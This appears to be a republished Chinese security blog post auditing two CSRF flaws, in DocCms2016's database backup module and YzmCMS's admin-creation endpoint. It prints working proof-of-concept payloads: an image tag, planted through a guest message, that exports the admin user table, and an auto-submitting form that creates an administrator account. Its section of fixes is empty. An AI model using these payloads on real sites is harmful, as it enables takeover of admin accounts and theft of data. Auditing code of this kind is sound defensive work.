代码审计两个简单的CSRF漏洞实例

Posted Bypass

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了代码审计两个简单的CSRF漏洞实例相关的知识,希望对你有一定的参考价值。

00
前言

CSRF(Cross-site request forgery)跨站请求伪造,通过伪装来自受信任用户的请求来利用受信任的网站,这边分享两个漏洞代码示例。


01
实例一:利用CSRF备份数据库

环境搭建:

DocCms官网:http://www.doccms.com

程序源码:DocCms2016

代码分析:

在\doccms\admini\controllers\system\back.php中,

export函数直接对提交上来的参数tables/sizelimit进行处理,导出sql备份文件,未对访问来源进行有效验证,导致数据库备份模块存在CSRF漏洞。

漏洞利用:

1、构造CSRF漏洞利用代码,只备份管理员用户表doc_user:

<H2> CRSFTester</H2>

<img src="http://127.0.0.1:80/admini/index.php?m=system&s=bakup&a=export&tables[]=doc_user&sizelimit=2048&dosubmit=开始备份数据" width="0" height="0" border="0"/>

2、在网站首页在线留言提交CSRF漏洞利用代码:

【代码审计】两个简单的CSRF漏洞实例

3、当管理员在后台查看留言信息时,自动备份数据库到/doccms/temp/data目录下:

【代码审计】两个简单的CSRF漏洞实例

02
实例二:利用CSRF添加管理员

环境搭建:

YzmCMS官网:http://www.yzmcms.com

程序源码下载:http://pan.baidu.com/s/1pKA4u99

代码分析:

漏洞文件位置: /application/admin/controller/admin_manage.class.php第35-59行中:

【代码审计】两个简单的CSRF漏洞实例

这段函数中进行添加管理员操作,只进行管理员身份验证,未对访问来源进行识别,导致程序在实现上存在CSRF漏洞。

漏洞利用:

1、构造CSRF漏洞利用代码如下:

1.  <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">  

2.    

3.  <html>  

4.  <head>  

5.  <title>OWASP CRSFTester Demonstration</title>  

6.  </head>  

7.  <body onload="javascript:fireForms()">  

8.  <script language="JavaScript">  

9.  var pauses = new Array( "68" );  

10.   

11. function pausecomp(millis)  

12. {  

13.     var date = new Date();  

14.     var curDate = null;  

15.   

16.     do { curDate = new Date(); }  

17.     while(curDate-date < millis);  

18. }  

19.   

20. function fireForms()  

21. {  

22.     var count = 1;  

23.     var i=0;  

24.       

25.     for(i=0; i<count; i++)  

26.     {  

27.         document.forms[i].submit();  

28.           

29.         pausecomp(pauses[i]);  

30.     }  

31. }  

32.       

33. </script>  

34. <H2>OWASP CRSFTester Demonstration</H2>  

35. <form method="POST" name="form0" action="http://127.0.0.1:80/admin/admin_manage/add.html">  

36. <input type="hidden" name="adminname" value="admin"/>  

37. <input type="hidden" name="password" value="abc123!"/>  

38. <input type="hidden" name="password2" value="abc123!"/>  

39. <input type="hidden" name="email" value=""/>  

40. <input type="hidden" name="realname" value=""/>  

41. <input type="hidden" name="roleid" value="1"/>  

42. <input type="hidden" name="dosubmit" value="1"/>  

43. </form>  

44. </body>  

45. </html>  

2、当管理员浏览该页面时,自动创建管理员账号admin

【代码审计】两个简单的CSRF漏洞实例

3、利用admin账号可成功登录后台进行任意操作。

【代码审计】两个简单的CSRF漏洞实例


03
修复建议



04
END

不少CMS缺少对代码安全的考虑,CSRF仍然是一个普遍存在的安全问题。一些企业网站类型的CMS,利用CSRF备份数据、添加管理员等操作,都是很常见的漏洞场景。



Bypass

About Me

一个网络安全爱好者,对技术有着偏执狂一样的追求。致力于分享原创高质量干货,包括但不限于:渗透测试、WAF绕过、代码审计、安全运维。

以上是关于代码审计两个简单的CSRF漏洞实例的主要内容,如果未能解决你的问题,请参考以下文章

[代码审计] LvyeCms CSRF漏洞分析

php代码审计7审计csrf漏洞

php代码审计之CSRF漏洞

代码审计两个任意文件读取漏洞实例

代码审计| APPCMS SQL-XSS-CSRF-SHELL

代码审计常见场景之CSRF与变量覆盖